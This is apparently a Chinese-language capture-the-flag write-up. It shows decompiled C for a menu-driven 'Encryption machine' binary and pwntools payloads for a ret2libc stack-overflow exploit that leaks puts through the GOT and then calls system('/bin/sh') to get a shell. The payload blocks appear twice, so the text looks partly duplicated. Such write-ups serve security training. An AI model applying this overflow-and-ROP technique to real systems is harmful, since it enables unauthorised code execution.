int __fastcall main(int argc, const char **argv, const char **envp) { int n2; // [rsp+Ch] [rbp-4h] BYREF
init(argc, argv, envp); puts("EEEEEEE hh iii "); puts("EE mm mm mmmm aa aa cccc hh nn nnn eee "); puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e "); puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee "); puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee "); puts("===================================================================="); puts("Welcome to this Encryption machine\n"); begin(); while ( 1 ) { while ( 1 ) { fflush(0LL); n2 = 0; __isoc99_scanf("%d", &n2); getchar(); if ( n2 != 2 ) break; puts("I think you can do it by yourself"); begin(); } if ( n2 == 3 ) { puts("Bye!"); return 0; } if ( n2 != 1 ) break; encrypt(); begin(); } puts("Something Wrong!"); return 0; }
开头先有一个 begin 函数
begin函数
1 2 3 4 5 6 7 8
int begin() { puts("===================================================================="); puts("1.Encrypt"); puts("2.Decrypt"); puts("3.Exit"); return puts("Input your choice!"); }
选项提示语 结合 main 下面内容 选择2(解密)没什么用 选择1(加密),有一个 encrypt 函数
io.recvuntil(b'Input your choice!\n') io.sendline(b'1') io.recvuntil(b'Input your Plaintext to be encrypted\n') payload=b'\x00'+b'a'*0x57+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) io.sendline(payload)
io.recvuntil(b'Input your choice!\n') io.sendline(b'1') io.recvuntil(b'Input your Plaintext to be encrypted\n') payload=b'\x00'+b'a'*0x57+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) io.sendline(payload)
io.recvuntil(b'Input your choice!\n') io.sendline(b'1') io.recvuntil(b'Input your Plaintext to be encrypted\n') payload=b'\x00'+b'a'*0x57+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) io.sendline(payload)
io.recvuntil(b'Input your choice!\n') io.sendline(b'1') io.recvuntil(b'Input your Plaintext to be encrypted\n') payload=b'\x00'+b'a'*0x57+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) io.sendline(payload) io.interactive()